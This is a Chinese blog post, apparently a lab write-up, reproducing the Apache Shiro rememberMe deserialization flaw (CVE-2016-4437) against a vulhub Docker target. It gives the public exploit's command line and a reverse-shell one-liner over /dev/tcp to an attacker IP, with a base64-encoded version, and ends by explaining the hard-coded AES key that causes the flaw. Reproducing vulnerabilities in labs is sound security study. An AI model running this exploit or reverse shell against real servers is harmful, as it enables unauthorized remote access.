漏洞复现-CVE-2016-4437-Shiro反序列化

 
 

0x00 实验环境

攻击机:Win 10

靶机也可作为攻击机:Ubuntu18 (docker搭建的vulhub靶场)(兼顾反弹shell的攻击机)

 

0x01 影响版本

Shiro <=1.2.24

 

0x02 入坑说明

(1)实验首先需要自行到github上下载exp

地址:https://github.com/insightglacier/Shiro_exploit

(2)运行环境为python3 ,需要将pip更新:python3 -m pip install --upgrade pip 并下载一些调用的库:pycryptodome、Crypto、requests等库

 

0x03 实验步骤

(1)打开有漏洞的网页,可以发现是一个登陆页面:

 

(2)我们首先抓包试试,可以发现这是一个可能存在Shiro反序列化的网站

 

(3)此时我们可以直接使用网上的exp进行攻击:

python3 shiro_exploit.py -t 3 -u http://肉鸡IP:8080 -p "弹shell的一条命令"

 

(4)弹shell的命令可以直接先构造好,然后在以下网站进行编码,这是因为Linux的命令行有的时候无法识别一些符号的命令:

网址:http://www.jackson-t.ca/runtime-exec-payloads.html

 

bash -i >& /dev/tcp/你的攻击机IP/2333 0>&1

(5)攻击机监听,然后在本机win10上运行payload:

python3 shiro_exploit.py -t 3 -u http://肉鸡网址:8080 -p "bash -c {echo,YmIXXXXXXXXXXXXXXJjE=}|{base64,-d}|{bash,-i}"

 

 

 shell反弹成功!

 

0x05 实验原理

参考原文:https://www.cnblogs.com/loong-hon/p/10619616.html

Shiro提供了记住我(RememberMe)的功能,关闭了浏览器下次再打开时还是能记住你是谁,下次访问时无需再登录即可访问。

Shiro对rememberMe的cookie做了加密处理,shiro在CookieRememberMeManaer类中将cookie中rememberMe字段内容分别进行 序列化AES加密Base64编码操作。

在识别身份的时候,需要对Cookie里的rememberMe字段解密。根据加密的顺序,不难知道解密的顺序为:

  • 获取rememberMe cookie
  • base64 decode
  • 解密AES
  • 反序列化

但是,AES加密的密钥Key被硬编码在代码里,意味着每个人通过源代码都能拿到AES加密的密钥。因此,攻击者构造一个恶意的对象,并且对其序列化,AES加密,base64编码后,作为cookie的rememberMe字段发送。Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。

posted @ 2020-08-11 21:32  铺哩  阅读(733)  评论(0编辑  收藏  举报